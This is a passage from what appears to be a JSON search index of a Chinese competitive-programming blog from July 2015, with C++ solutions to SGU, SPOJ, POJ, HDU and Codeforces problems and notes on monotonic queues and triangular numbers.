}","date":"2015-07-30","externalUrl":null,"permalink":"/2015/07/sgu455/","section":"Posts","summary":"455. Sequence analysis # 比赛的时候逗了，往看空间限制了….","tags":["floyd 判圈"],"title":"sgu 455. Sequence analysis （floyd 判圈算法，O(1)空间复杂度求循环节）","type":"post"},{"categories":["ACM"],"content":"简单模拟,n,m貌似给反了(两个地方给的不一致 ) 害我wa了两发 1 2 /************************************************************************* 3 \u003e File Name: code/2015summer/#5/K.cpp 4 \u003e Author: 111qqz 5 \u003e Email: rkz2013@126.com 6 \u003e Created Time: 2015年07月30日 星期四 14时00分56秒 7 ************************************************************************/ 8 9 #include\u003ciostream\u003e 10 #include\u003ciomanip\u003e 11 #include\u003ccstdio\u003e 12 #include\u003calgorithm\u003e 13 #include\u003ccmath\u003e 14 #include\u003ccstring\u003e 15 #include\u003cstring\u003e 16 #include\u003cmap\u003e 17 #include\u003cset\u003e 18 #include\u003cqueue\u003e 19 #include\u003cvector\u003e 20 #include\u003cstack\u003e 21 #define y0 abc111qqz 22 #define y1 hust111qqz 23 #define yn hez111qqz 24 #define j1 cute111qqz 25 #define tm crazy111qqz 26 #define lr dying111qqz 27 using namespace std; 28 #define REP(i, n) for (int i=0;i\u003cint(n);++i) 29 typedef long long LL; 30 typedef unsigned long long ULL; 31 const int inf = 0x7fffffff; 32 const int N=1e2+5; 33 int b[N][N]; 34 int n,m; 35 char cmd[505]; 36 bool vis[N][N]; 37 int nx,ny; 38 int dx[4]={-1,0,1,0}; 39 int dy[4]={0,1,-0,-1}; 40 char ch[N][N]; 41 int main() 42 { 43 cin\u003e\u003en\u003e\u003em; 44 nx = 0; 45 ny = 0; 46 for ( int i = 0 ; i \u003c n ; i++) 47 cin\u003e\u003ech[i]; 48 for ( int i = 0 ; i \u003cn ; i++ ) 49 { 50 for ( int j = 0 ; j \u003c m ; j++ ) 51 { 52 b[i+1][j+1]=(int)(ch[i][j]-'0'); 53 } 54 } 55 int ans = 0; 56 memset(vis,false,sizeof(vis)); 57 int dir = 1; 58 cin\u003e\u003ecmd; 59 int len = strlen(cmd); 60 for ( int i = 0 ; i \u003c len ; i ++ ) 61 { 62 // cout\u003c\u003c\"ans:\"\u003c\u003cans\u003c\u003cendl; 63 // cout\u003c\u003c\"nx:\"\u003c\u003cnx\u003c\u003c\" ny:\"\u003c\u003cny\u003c\u003cendl; 64 if (cmd[i]=='L') 65 { 66 dir = (dir+3)%4; 67 } 68 if (cmd[i]=='R') 69 { 70 dir = (dir+1)%4; 71 } 72 if (cmd[i]=='M') 73 { 74 if (dir==0) 75 { 76 if (vis[nx][ny]) 77 { 78 ans = ans + b[nx][ny]/2; 79 } 80 else 81 { 82 ans = ans + b[nx][ny]; 83 } 84 if (vis[nx][ny+1]) 85 { 86 ans = ans + b[nx][ny+1]/2; 87 } 8","date":"2015-07-30","externalUrl":null,"permalink":"/2015/07/sgu463/","section":"Posts","summary":"简单模拟,n,m貌似给反了(两个地方给的不一致 ) 害我wa了两发","tags":["模拟"],"title":"sgu 463  - Walking around Berhattan","type":"post"},{"categories":["ACM"],"content":"水题,推个公式出来,注意精度…一遍A 1 2 /************************************************************************* 3 \u003e File Name: code/2015summer/#5/D.cpp 4 \u003e Author: 111qqz 5 \u003e Email: rkz2013@126.com 6 \u003e Created Time: 2015年07月30日 星期四 13时17分26秒 7 ************************************************************************/ 8 9 #include\u003ciostream\u003e 10 #include\u003ciomanip\u003e 11 #include\u003ccstdio\u003e 12 #include\u003calgorithm\u003e 13 #include\u003ccmath\u003e 14 #include\u003ccstring\u003e 15 #include\u003cstring\u003e 16 #include\u003cmap\u003e 17 #include\u003cset\u003e 18 #include\u003cqueue\u003e 19 #include\u003cvector\u003e 20 #include\u003cstack\u003e 21 #define y0 abc111qqz 22 #define y1 hust111qqz 23 #define yn hez111qqz 24 #define j1 cute111qqz 25 #define tm crazy111qqz 26 #define lr dying111qqz 27 using namespace std; 28 #define REP(i, n) for (int i=0;i\u003cint(n);++i) 29 typedef long long LL; 30 typedef unsigned long long ULL; 31 const int inf = 0x7fffffff; 32 int s,m,p; 33 double ans; 34 35 double cal(double x,int n) 36 { 37 double res = 1.0; 38 for ( int i = 1 ; i \u003c= n ; i++ ) 39 { 40 res = res * x; 41 } 42 // cout\u003c\u003c\"res:\"\u003c\u003cres\u003c\u003cendl; 43 return res; 44 } 45 int main() 46 { 47 cin\u003e\u003es\u003e\u003em\u003e\u003ep; 48 double sum = 0; 49 double per = p*1.0/100+1; 50 for ( int i = 1 ; i \u003c= m; i++ ) 51 { 52 sum=sum+1.0/cal(per,i); 53 // cout\u003c\u003c\"sum:\"\u003c\u003csum\u003c\u003cendl; 54 } 55 // cout\u003c\u003csum\u003c\u003cendl; 56 cout\u003c\u003cfixed\u003c\u003csetprecision(5)\u003c\u003cs*1.0/sum\u003c\u003cendl; 57 58 return 0; 59 }","date":"2015-07-30","externalUrl":null,"permalink":"/2015/07/sgu456/","section":"Posts","summary":"水题,推个公式出来,注意精度…一遍A 1 2 /************************************************************************* 3 \u003e File Name: code/2015summer/#5/D.cpp 4 \u003e Author: 111qqz 5 \u003e Email: rkz2013@126.com 6 \u003e Created Time: 2015年07月30日 星期四 13时17分26秒 7 ************************************************************************/ 8 9 #include\u003ciostream\u003e 10 #include\u003ciomanip\u003e 11 #include\u003ccstdio\u003e 12 #include\u003calgorithm\u003e 13 #include\u003ccmath\u003e 14 #include\u003ccstring\u003e 15 #include\u003cstring\u003e 16 #include\u003cmap\u003e 17 #include\u003cset\u003e 18 #include\u003cqueue\u003e 19 #include\u003cvector\u003e 20 #include\u003cstack\u003e 21 #define y0 abc111qqz 22 #define y1 hust111qqz 23 #define yn hez111qqz 24 #define j1 cute111qqz 25 #define tm crazy111qqz 26 #define lr dying111qqz 27 using namespace std; 28 #define REP(i, n) for (int i=0;i\u003cint(n);++i) 29 typedef long long LL; 30 typedef unsigned long long ULL; 31 const int inf = 0x7fffffff; 32 int s,m,p; 33 double ans; 34 35 double cal(double x,int n) 36 { 37 double res = 1.0; 38 for ( int i = 1 ; i \u003c= n ; i++ ) 39 { 40 res = res * x; 41 } 42 // cout\u003c\u003c\"res:\"\u003c\u003cres\u003c\u003cendl; 43 return res; 44 } 45 int main() 46 { 47 cin\u003e\u003es\u003e\u003em\u003e\u003ep; 48 double sum = 0; 49 double per = p*1.0/100+1; 50 for ( int i = 1 ; i \u003c= m; i++ ) 51 { 52 sum=sum+1.0/cal(per,i); 53 // cout\u003c\u003c\"sum:\"\u003c\u003csum\u003c\u003cendl; 54 } 55 // cout\u003c\u003csum\u003c\u003cendl; 56 cout\u003c\u003cfixed\u003c\u003csetprecision(5)\u003c\u003cs*1.0/sum\u003c\u003cendl; 57 58 return 0; 59 }","tags":["算法竞赛"],"title":"SGU 456 Annuity Payment Scheme","type":"post"},{"categories":["ACM"],"content":"AMR10F - Cookies Piles # 水. 1 2 3 /************************************************************************* 4 \u003e File Name: code/2015summer/#4/F.cpp 5 \u003e Author: 111qqz 6 \u003e Email: rkz2013@126.com 7 \u003e Created Time: 2015年07月29日 星期三 21时47分23秒 8 ************************************************************************/ 9 10 #include\u003ciostream\u003e 11 #include\u003ciomanip\u003e 12 #include\u003ccstdio\u003e 13 #include\u003calgorithm\u003e 14 #include\u003ccmath\u003e 15 #include\u003ccstring\u003e 16 #include\u003cstring\u003e 17 #include\u003cmap\u003e 18 #include\u003cset\u003e 19 #include\u003cqueue\u003e 20 #include\u003cvector\u003e 21 #include\u003cstack\u003e 22 #define y0 abc111qqz 23 #define y1 hust111qqz 24 #define yn hez111qqz 25 #define j1 cute111qqz 26 #define tm crazy111qqz 27 #define lr dying111qqz 28 using namespace std; 29 #define REP(i, n) for (int i=0;i\u003cint(n);++i) 30 typedef long long LL; 31 typedef unsigned long long ULL; 32 const int inf = 0x7fffffff; 33 int main() 34 { 35 int T; 36 int n,a,d; 37 cin\u003e\u003eT; 38 while (T--) 39 { 40 scanf(\"%d %d %d\",\u0026n,\u0026a,\u0026d); 41 cout\u003c\u003cn*a+n*(n-1)/2*d\u003c\u003cendl; 42 } 43 44 return 0; 45 }","date":"2015-07-29","externalUrl":null,"permalink":"/2015/07/spojamr10fcookiespiles/","section":"Posts","summary":"AMR10F - Cookies Piles # 水.","tags":["算法竞赛"],"title":"SPOJ AMR10F Cookies Piles","type":"post"},{"categories":["ACM"],"content":"Sliding Window 看这个问题：An array of size n ≤ 106 is given to you. There is a sliding window of size k which is moving from the very left of the array to the very right. You can only see the k numbers in the window. Each time the sliding window moves rightwards by one position.Your task is to determine the maximum and minimum values in the sliding window at each position. 也就是有一个数列a，要求你求数列b和c，b[i]是a[i]…a[i+w-1]中的最小值，c[i]是最大值。如果a是1,3,-1,-3,5,3,6,7，则b为-1,-3,-3,-3,3,3，c为3,3,5,5,6,7。 这个问题相当于一个数据流（数列a）在不断地到来，而数据是不断过期的，相当于我们只能保存有限的数据（sliding window中的数据，此题中就是窗口的宽度w），对于到来的查询（此题中查询是每时刻都有的），我们要返回当前滑动窗口中的最大值最小值。注意，元素是不断过期的。 解决这个问题可以使用一种叫做单调队列的数据结构，它维护这样一种队列： a)从队头到队尾，元素在我们所关注的指标下是递减的（严格递减，而不是非递增），比如查询如果每次问的是窗口内的最小值，那么队列中元素从左至右就应该递增，如果每次问的是窗口内的最大值，则应该递减，依此类推。这是为了保证每次查询只需要取队头元素。 b)从队头到队尾，元素对应的时刻（此题中是该元素在数列a中的下标）是递增的，但不要求连续，这是为了保证最左面的元素总是最先过期，且每当有新元素来临的时候一定是插入队尾。 满足以上两点的队列就是单调队列，首先，只有第一个元素的序列一定是单调队列。 那么怎么维护这个单调队列呢？无非是处理插入和查询两个操作。 对于插入，由于性质b，因此来的新元素插入到队列的最后就能维持b)继续成立。但是为了维护a)的成立，即元素在我们关注的指标下递减，从队尾插入新元素的时候可能要删除队尾的一些元素，具体说来就是，找到第一个大于（在所关注指标下）新元素的元素，删除其后所有元素，并将新元素插于其后。因为所有被删除的元素都比新元素要小，而且比新元素要旧，因此在以后的任何查询中都不可能成为答案，所以可以放心删除。 对于查询，由于性质b，因此所有该时刻过期的元素一定都集中在队头，因此利用查询的时机删除队头所有过期的元素，在不含过期元素后，队头得元素就是查询的答案（性质a），将其返回即可。 由于每个元素都进队出队一次，因此摊销复杂度为O(n)。 POJ2823就是上面描述的那道题。 http://www.cnblogs.com/Jason-Damon/archive/2012/04/19/2457889.html 讲得很好.我认为重点的地方加颜色了. 如果要找最大值,那么比新加入的元素小且旧的元素是不可能成为答案的,可以放心删去! 理解了这句话就理解了单调队列… 上面那个博客将得是挺好,只是代码写得略丑. 自己按照思想写了个还看得过去的 1 2 /************************************************************************* 3 \u003e File Name: code/2015summer/单调队列/B.cpp 4 \u003e Author: 111qqz 5 \u003e Email: rkz2013@126.com 6 \u003e Created Time: 2015年07月29日 星期三 20时18分16秒 7 ************************************************************************/ 8 9 #include\u003ciostream\u003e 10 #include\u003ciomanip\u003e 11 #include\u003ccstdio\u003e 12 #include\u003cal","date":"2015-07-29","externalUrl":null,"permalink":"/2015/07/poj2823/","section":"Posts","summary":"Sliding Window 看这个问题：An array of size n ≤ 106 is given to you. There is a sliding window of size k which is moving from the very left of the array to the very right. You can only see the k numbers in the window. Each time the sliding window moves rightwards by one position.Your task is to determine the maximum and minimum values in the sliding window at each position.","tags":["单调队列"],"title":"poj 2823 Sliding Window (单调队列)","type":"post"},{"categories":["ACM"],"content":"快要炸了.. tle成狗 因为是tle,看了下自己没有写cin cout,估计就是算法的问题… 我是先存了二进制的每一位到数组,然后扫一遍… 嗯,这都tle… 那我不存不扫,直接记录当前二进制位和之前二进制位.. logn的复杂度总可以了吧啊? 还TLE………. 嗯,其实已经发现 n是小于等于1e18的,没开long long 但是一位没开long long 会是wa…就没理… 之后实在黔驴技穷,改了下,竟然过了… 然后想明白了. 因为存二进制的时候有一个while 没开long long 的话就炸了,不知道读进去的是什么,while就出不来,于是就tle了.T T 果然太年轻. 1 2 3 4 /************************************************************************* 5 \u003e File Name: code/bc/#45/1001.cpp 6 \u003e Author: 111qqz 7 \u003e Email: rkz2013@126.com 8 \u003e Created Time: 2015年07月29日 星期三 13时25分01秒 9 ************************************************************************/ 10 11 #include\u003ciostream\u003e 12 #include\u003ciomanip\u003e 13 #include\u003ccstdio\u003e 14 #include\u003calgorithm\u003e 15 #include\u003ccmath\u003e 16 #include\u003ccstring\u003e 17 #include\u003cstring\u003e 18 #include\u003cmap\u003e 19 #include\u003cset\u003e 20 #include\u003cqueue\u003e 21 #include\u003cvector\u003e 22 #include\u003cstack\u003e 23 #define y0 abc111qqz 24 #define y1 hust111qqz 25 #define yn hez111qqz 26 #define j1 cute111qqz 27 #define tm crazy111qqz 28 #define lr dying111qqz 29 using namespace std; 30 #define REP(i, n) for (int i=0;i\u003cint(n);++i) 31 typedef long long LL; 32 typedef unsigned long long ULL; 33 const int inf = 0x7fffffff; 34 const int N=1E3+5; 35 int a[N]; 36 LL n,nn; 37 int main() 38 { 39 int T; 40 cin\u003e\u003eT; 41 while (T--) 42 { 43 scanf(\"%lld\",\u0026n); 44 nn = n ; 45 int k = 0; 46 while (nn) 47 { 48 k++; 49 a[k]=nn\u00261; 50 nn = nn \u003e\u003e1; 51 } 52 int ans = 0; 53 // for ( int i = 1 ; i \u003c= k ; i++ ) 54 // cout\u003c\u003ca[i]\u003c\u003cendl; 55 for ( int i = 1 ; i \u003c= k ; i++ ) 56 { 57 if (a[i]==1\u0026\u0026a[i-1]==0) 58 ans++; 59 } 60 printf(\"%d\\n\",ans); 61 } 62 return 0; 63 }","date":"2015-07-29","externalUrl":null,"permalink":"/2015/07/bc45a-dylanslovesnumbershdu5272/","section":"Posts","summary":"快要炸了.. tle成狗 因为是tle,看了下自己没有写cin cout,估计就是算法的问题…","tags":["brute force"],"title":"(bc #45) A - Dylans loves numbers (hdu 5272)","type":"post"},{"categories":["ACM"],"content":"C. Artem and Array time limit per test 2 seconds memory limit per test 256 megabytes input standard input output standard output Artem has an array of n positive integers. Artem decided to play with it. The game consists of n moves. Each move goes like this. Artem chooses some element of the array and removes it. For that, he gets min(a, b) points, where a and b are numbers that were adjacent with the removed number. If the number doesn’t have an adjacent number to the left or right, Artem doesn’t get any points. After the element is removed, the two parts of the array glue together resulting in the new array that Artem continues playing with. Borya wondered what maximum total number of points Artem can get as he plays this game. Input The first line contains a single integer n (1 ≤ n ≤ 5*105) – the number of elements in the array. The next line contains n integers a__i(1 ≤ a__i ≤ 106) – the values of the array elements. Output In a single line print a single integer – the maximum number of points Artem can get. Sample test(s) input 5 3 1 5 2 6 output 11 input 5 1 2 3 4 5 output 6 input 5 1 100 101 100 1 output 102 并不会做. 接触了一个交单调栈的东西… 又是单调栈又是单调队列 是时候仔细了解下了. 1 2 3 /************************************************************************* 4 \u003e File Name: code/2015summer/#3/D.cpp 5 \u003e Author: 111qqz 6 \u003e Email: rkz2013@126.com 7 \u003e Created Time: 2015年07月28日 星期二 13时47分48秒 8 ************************************************************************/ 9 10 #include\u003ciostream\u003e 11 #include\u003ciomanip\u003e 12 #include\u003ccstdio\u003e 13 #include\u003calgorithm\u003e 14 #include\u003ccmath\u003e 15 #include\u003ccstring\u003e 16 #include\u003cstring\u003e 17 #include\u003cmap\u003e 18 #include\u003cset\u003e 19 #include\u003cqueue\u003e 20 #include\u003cvector\u003e 21 #include\u003cstack\u003e 22 #define y0 abc111qqz 23 #define y1 hust111qqz 24 #define yn hez111qqz 25 #define j1 cute111qqz","date":"2015-07-28","externalUrl":null,"permalink":"/2015/07/cf442c/","section":"Posts","summary":"C. Artem and Array time limit per test 2 seconds memory limit per test 256 megabytes input standard input output standard output Artem has an array of n positive integers. Artem decided to play with it. The game consists of n moves. Each move goes like this. Artem chooses some element of the array and removes it. For that, he gets min(a, b) points, where a and b are numbers that were adjacent with the removed number. If the number doesn’t have an adjacent number to the left or right, Artem doesn’t get any points.","tags":["单调栈"],"title":"codeforces 442C. Artem and Array","type":"post"},{"categories":["ACM"],"content":"B. Andrey and Problem time limit per test 2 seconds memory limit per test 256 megabytes input standard input output standard output Andrey needs one more problem to conduct a programming contest. He has n friends who are always willing to help. He can ask some of them to come up with a contest problem. Andrey knows one value for each of his fiends – the probability that this friend will come up with a problem if Andrey asks him. Help Andrey choose people to ask. As he needs only one problem, Andrey is going to be really upset if no one comes up with a problem or if he gets more than one problem from his friends. You need to choose such a set of people that maximizes the chances of Andrey not getting upset. Input The first line contains a single integer n (1 ≤ n ≤ 100) – the number of Andrey’s friends. The second line contains n real numbers p__i(0.0 ≤ p__i ≤ 1.0) – the probability that the i-th friend can come up with a problem. The probabilities are given with at most 6 digits after decimal point. Output Print a single real number – the probability that Andrey won’t get upset at the optimal choice of friends. The answer will be considered valid if it differs from the correct one by at most 10 - 9. Sample test(s) input 4 0.1 0.2 0.3 0.8 output 0.800000000000 input 2 0.1 0.2 output 0.260000000000 Note In the first sample the best strategy for Andrey is to ask only one of his friends, the most reliable one. In the second sample the best strategy for Andrey is to ask all of his friends to come up with a problem. Then the probability that he will get exactly one problem is 0.10.8 + 0.90.2 = 0.26. 可以选1个,可以选2个,选i个…. 但是选哪i个,似乎还要枚举…这样计算起来很麻烦 但是再一看,很容易发现,选i个概率最大的情况一定是选本身概率最大的i个的情况 那么我们只需要枚举选的个数,取每种情况的最大值就好了. 1 2 3 /****************************************************************","date":"2015-07-28","externalUrl":null,"permalink":"/2015/07/cf442b/","section":"Posts","summary":"B. Andrey and Problem time limit per test 2 seconds memory limit per test 256 megabytes input standard input output standard output Andrey needs one more problem to conduct a programming contest. He has n friends who are always willing to help. He can ask some of them to come up with a contest problem. Andrey knows one value for each of his fiends – the probability that this friend will come up with a problem if Andrey asks him.","tags":["概率"],"title":"cf 442B Andrey and Problem","type":"post"},{"categories":["ACM"],"content":"B. Kolya and Tandem Repeat time limit per test 2 seconds memory limit per test 256 megabytes input standard input output standard output Kolya got string s for his birthday, the string consists of small English letters. He immediately added k more characters to the right of the string. Then Borya came and said that the new string contained a tandem repeat of length l as a substring. How large could l be? See notes for definition of a tandem repeat. Input The first line contains s (1 ≤ |s| ≤ 200). This string contains only small English letters. The second line contains number k (1 ≤ k ≤ 200) – the number of the added characters. Output Print a single number – the maximum length of the tandem repeat that could have occurred in the new string. Sample test(s) input aaba 2 output 6 input aaabbbb 2 output 6 input abracadabra 10 output 20 Note A tandem repeat of length 2_n_ is string s, where for any position i (1 ≤ i ≤ n) the following condition fulfills: s__i = s__i + n. In the first sample Kolya could obtain a string aabaab, in the second – aaabbbbbb, in the third – abracadabrabracadabra. 大力出奇迹2333 1 2 /************************************************************************* 3 \u003e File Name: code/2015summer/#3/A.cpp 4 \u003e Author: 111qqz 5 \u003e Email: rkz2013@126.com 6 \u003e Created Time: 2015年07月28日 星期二 12时27分08秒 7 ************************************************************************/ 8 9 #include\u003ciostream\u003e 10 #include\u003ciomanip\u003e 11 #include\u003ccstdio\u003e 12 #include\u003calgorithm\u003e 13 #include\u003ccmath\u003e 14 #include\u003ccstring\u003e 15 #include\u003cstring\u003e 16 #include\u003cmap\u003e 17 #include\u003cset\u003e 18 #include\u003cqueue\u003e 19 #include\u003cvector\u003e 20 #include\u003cstack\u003e 21 #define y0 abc111qqz 22 #define y1 hust111qqz 23 #define yn hez111qqz 24 #define j1 cute111qqz 25 #define tm crazy111qqz 26 #define lr dying111qqz 27 using name","date":"2015-07-28","externalUrl":null,"permalink":"/2015/07/cf443b/","section":"Posts","summary":"B. Kolya and Tandem Repeat time limit per test 2 seconds memory limit per test 256 megabytes input standard input output standard output Kolya got string s for his birthday, the string consists of small English letters. He immediately added k more characters to the right of the string.","tags":["brute force"],"title":"cf 443B  Kolya and Tandem Repeat","type":"post"},{"categories":["ACM"],"content":"比赛的时候没做出来.这道题需要用到的一个重要的性质是,任意一个自然数可以表示成至多三个三角形数(1,3,6,10,15…..)的和(orz高斯)然后也有推广到任意自然数可以表示成k个k角形数的和的结论(费马提出了猜想,柯西给了证明)然后官方题解说的比较好: 这个题看上去是一个贪心, 但是这个贪心显然是错的. 事实上这道题目很简单, 先判断1个是否可以, 然后判断2个是否可以. 之后找到最小的k (k \u003e 2)k(k\u003e2), 使得(m - k) mod 6 = 0(m−k)mod6=0即可. 证明如下: 3n(n-1)+1 = 6(n(n-1)/2)+13n(n−1)+1=6(n∗(n−1)/2)+1, 注意到n(n-1)/2n∗(n−1)/2是三角形数, 任意一个自然数最多只需要3个三角形数即可表示. 枚举需要kk个, 那么显然m=6(km=6(k个三角形数的和)+k)+k, 由于k ge 3k≥3, 只要m-km−k是6的倍数就一定是有解的.** 事实上, 打个表应该也能发现规律. 另外还有一点,特判一个和两个的情况时,一个的好判断,扫一遍就好了 两个的话,由于这个数列是递增的,我们可以从两边往中间,算是一个不错的优化,具体见代码. 1 /************************************************************************* 2 \u003e File Name: code/nv/#ann/1003.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年07月28日 星期二 23时03分09秒 6 ************************************************************************/ 7 8 #include\u003ciostream\u003e 9 #include\u003ciomanip\u003e 10 #include\u003ccstdio\u003e 11 #include\u003calgorithm\u003e 12 #include\u003ccmath\u003e 13 #include\u003ccstring\u003e 14 #include\u003cstring\u003e 15 #include\u003cmap\u003e 16 #include\u003cset\u003e 17 #include\u003cqueue\u003e 18 #include\u003cvector\u003e 19 #include\u003cstack\u003e 20 #define y0 abc111qqz 21 #define y1 hust111qqz 22 #define yn hez111qqz 23 #define j1 cute111qqz 24 #define tm crazy111qqz 25 #define lr dying111qqz 26 using namespace std; 27 #define REP(i, n) for (int i=0;i\u003cint(n);++i) 28 typedef long long LL; 29 typedef unsigned long long ULL; 30 const int inf = 0x7fffffff; 31 const int N=1E5+7; 32 int k,m,f[N]; 33 void init() 34 { 35 for ( int i = 1 ; i \u003cN; i++) 36 { 37 f[i]=3*i*(i-1)+1; 38 if (f[i]\u003e1000000000) 39 { 40 k = i-1; 41 break; 42 } 43 } 44 } 45 int solve (int x) 46 { 47 for ( int i = 1 ; f[i]\u003c=x ; i++ ) 48 { 49 if (x==f[i]) 50 return 1; 51 } 52 int j = k; 53 for ( int i = 1 ; i \u003c= k-1\u0026\u0026f[i]\u003cx ; i++) 54 { 55 while(f[i]+f[j]\u003ex) j--; 56 if (f[i]+f[j]==x) return 2; 57 } 58 for ( int i = 3 ; i \u003c= m ; i","date":"2015-07-28","externalUrl":null,"permalink":"/2015/07/hdu5312/","section":"Posts","summary":"比赛的时候没做出来.这道题需要用到的一个重要的性质是,任意一个自然数可以表示成至多三个三角形数(1,3,6,10,15…..)的和(orz高斯)然后也有推广到任意自然数可以表示成k个k角形数的和的结论(费马提出了猜想,柯西给了证明)然后官方题解说的比较好:","tags":["math"],"title":"(BC 一周年) hdu 5312  Sequence","type":"post"},{"categories":["ACM"],"content":"它有一定的规律性，排列如下(构成图)，像上面的1、3、6、10、15等等这些能够表示成三角形的形状的总数量的数，叫做三角形数。 一定数目的点或圆在等距离的排列下可以形成一个等边三角形，这样的数被称为三角形数。比如10个点可以组成一个等边三角形，因此10是一个三角形数： x x　x x　x　x x　x　x　x x　x　x　x x 开始个18个三角形数是1、3、6、10、15、21、28、36、45、55、66、78、91、105、120、136、153、171……（OEIS中的数列A000217） 第n个三角形数的公式是 或者 第n个三角形数是开始的n个自然数的和。 所有大于3的三角形数都不是质数。 开始的n个立方数的和是第n个三角形数的平方（举例：1 + 8 + 27 + 64 = 100 =102） 所有三角形数的倒数之和是2。 任何三角形数乘以8再加1是一个平方数。 一部分三角形数（3、10、21、36、55、78……）可以用以下这个公式来表示：n × (2n + 1)；而剩下的另一部分（1、6、15、28、45、66……）则可以用n × (2n - 1)来表示。 一种检验正整数x是否三角形数的方法，是计算： 如果n是整数，那么x就是第n个三角形数。如果n不是整数，那么x不是三角形数。这个检验法是基于恒等式8Tn + 1 = S2n + 1. 特殊的三角形数 55、5,050、500,500、50,005,000……都是三角形数。 第11个三角形数（66）、第1111个三角形数（617,716）、第111,111个三角形数（6,172,882,716）、第11,111,111个三角形数（61,728,399,382,716）都是回文式的三角形数，但第111个、第11,111个和第1,111,111个三角形数不是。 和其他数的关系 四面体数是三角形数在立体的推广。 两个相继的三角形数之和是平方数。 三角平方数是同时为三角形数和平方数的数。 三角形数属於一种多边形数。 所有偶完美数都是三角形数。 任何自然数是最多三个三角形数的和。高斯发现了这个规律。他在1796年7月10日在日记中写道：EYPHKA! num = Δ + Δ + Δ 任意一个自然数最多只需要3个三角形数即可表示. ** ** #","date":"2015-07-28","externalUrl":null,"permalink":"/2015/07/Triangle-number/","section":"Posts","summary":"它有一定的规律性，排列如下(构成图)，像上面的1、3、6、10、15等等这些能够表示成三角形的形状的总数量的数，叫做三角形数。","tags":["算法竞赛"],"title":"三角形数_百度百科","type":"post"},{"categories":["ACM"],"content":"http://acm.hdu.edu.cn/showproblem.php?pid=5311 题意：问能否从一个给定的字符串中拿出三个不相交的字串（原串可以有剩余），组成字符串“anniversary” 思路：暴力。 比赛的时候没做出来,sad 我发现我有一个问题,就是不敢跑暴力 有不少题其实正解就是暴力 或者有的题,暴力不是标解,但是绝对可A,可我就不敢写… 就觉得不会是这样.. 说到底还是不自信吧… 思路是枚举两个间隔点,将 string tar=“anniversary\"分成三个不为空的部分 然后在给的字符串中按顺序查找这三部分 如果都能找到,直接YES 如果任何一种间隔的分段都无法YES 就NO… 妈蛋,if语句后面多写了个分号,调了半个多小时才发现(为啥总是这种傻逼错误….) 还有一点,因为是多组数据,而对于每组数据,将tar拆分的方法都是一样的,可以先预处理一下存到数组里. 1 2 #define yn hez111qqz 3 #define j1 cute111qqz 4 #define tm crazy111qqz 5 #define lr dying111qqz 6 using namespace std; 7 #define REP(i, n) for (int i=0;i\u003cint(n);++i) 8 typedef long long LL; 9 typedef unsigned long long ULL; 10 const int N=1E2+5; 11 int d[N]; 12 int len; 13 string st,tar,s1,s2,s3; 14 bool flag; 15 16 void solve (string x,string y,string z) 17 { 18 int lx = x.length(); 19 int ly = y.length(); 20 int lz = z.length(); 21 bool debug = false; 22 if (x==\"anniv\"\u0026\u0026y==\"er\"\u0026\u0026z==\"sary\") 23 debug = true; 24 int p; 25 int k = 0; 26 for ( int i = 0 ; i \u003c len-lx+1 ; i++ ) 27 { 28 string tmps = st.substr(i,lx); 29 // if (debug) cout\u003c\u003c\"tmaaaps:\"\u003c\u003ctmps\u003c\u003cendl; 30 if (tmps==x); 31 { 32 p = i; 33 // cout\u003c\u003c\"tmps1:\"\u003c\u003ctmps\u003c\u003cendl; 34 k++; 35 break; 36 } 37 } 38 if (k==0) return; 39 40 for ( int i = p+lx ; i \u003c len - ly +1 ;i++) 41 { 42 string tmps = st.substr(i,ly); 43 // if (debug) cout\u003c\u003c\"tms2:\"\u003c\u003ctmps\u003c\u003cendl; 44 if (tmps==y) 45 { 46 p = i ; 47 // cout\u003c\u003c\"tmps2:\"\u003c\u003ctmps\u003c\u003cendl; 48 k++; 49 break; 50 } 51 } 52 if (k==1) return ; 53 for ( int i = p+ly; i \u003c len - lz +1 ; i ++) 54 { 55 string tmps = st.substr(i,lz); 56 if (tmps==z) 57 { 58 // cout\u003c\u003c\"tmps3:\"\u003c\u003ctmps\u003c\u003cendl; 59 k++; 60 break; 61 } 62 } 63 if (k==3) 64 { 65 flag = true; 66 return; 67 } 68 69 } 70 int main() 71 { 72 int T; 73 cin\u003e\u003eT; 74 while (T--) 75 { 76 flag = false; 77 cin\u003e\u003est; 78 len = st.length(); 79 int k = 0; 80 int num = 0; 8","date":"2015-07-28","externalUrl":null,"permalink":"/2015/07/hdu5311/","section":"Posts","summary":"http://acm.hdu.edu.cn/showproblem.php?pid=5311 题意：问能否从一个给定的字符串中拿出三个不相交的字串（原串可以有剩余），组成字符串“anniversary” 思路：暴力。","tags":["brute force","字符串"],"title":"(BC 一周年)hdu 5311 Hidden String","type":"post"},{"categories":["ACM"],"content":"http://acm.hdu.edu.cn/showproblem.php?pid=5310 水。 不要用cin. 1 2 /************************************************************************* 3 \u003e File Name: code/bc/#ann/1001.cpp 4 \u003e Author: 111qqz 5 \u003e Email: rkz2013@126.com 6 \u003e Created Time: 2015年07月25日 星期六 18时54分24秒 7 ************************************************************************/ 8 9 #include\u003ciostream\u003e 10 #include\u003ciomanip\u003e 11 #include\u003ccstdio\u003e 12 #include\u003calgorithm\u003e 13 #include\u003ccmath\u003e 14 #include\u003ccstring\u003e 15 #include\u003cstring\u003e 16 #include\u003cmap\u003e 17 #include\u003cset\u003e 18 #include\u003cqueue\u003e 19 #include\u003cvector\u003e 20 #include\u003cstack\u003e 21 #define y0 abc111qqz 22 #define y1 hust111qqz 23 #define yn hez111qqz 24 #define j1 cute111qqz 25 #define tm crazy111qqz 26 #define lr dying111qqz 27 using namespace std; 28 #define REP(i, n) for (int i=0;i\u003cint(n);++i) 29 typedef long long LL; 30 typedef unsigned long long ULL; 31 int n,m,p,q; 32 int main() 33 { 34 int T; 35 cin\u003e\u003eT; 36 int ans = 0; 37 while (T--) 38 { 39 // scanf(\"%d %d %d %d\",\u0026n,\u0026m,\u0026p,\u0026q); 40 scanf(\"%d %d %d %d\",\u0026n,\u0026m,\u0026p,\u0026q); 41 ans = n*p; 42 ans = min(ans,n/m*q+n%m*p); 43 ans = min(ans,((n-1)/m+1)*q); 44 printf(\"%d\\n\",ans); 45 } 46 47 return 0; 48 }","date":"2015-07-28","externalUrl":null,"permalink":"/2015/07/hdu5310/","section":"Posts","summary":"http://acm.hdu.edu.cn/showproblem.php?pid=5310 水。 不要用cin. 1 2 /************************************************************************* 3 \u003e File Name: code/bc/#ann/1001.cpp 4 \u003e Author: 111qqz 5 \u003e Email: rkz2013@126.com 6 \u003e Created Time: 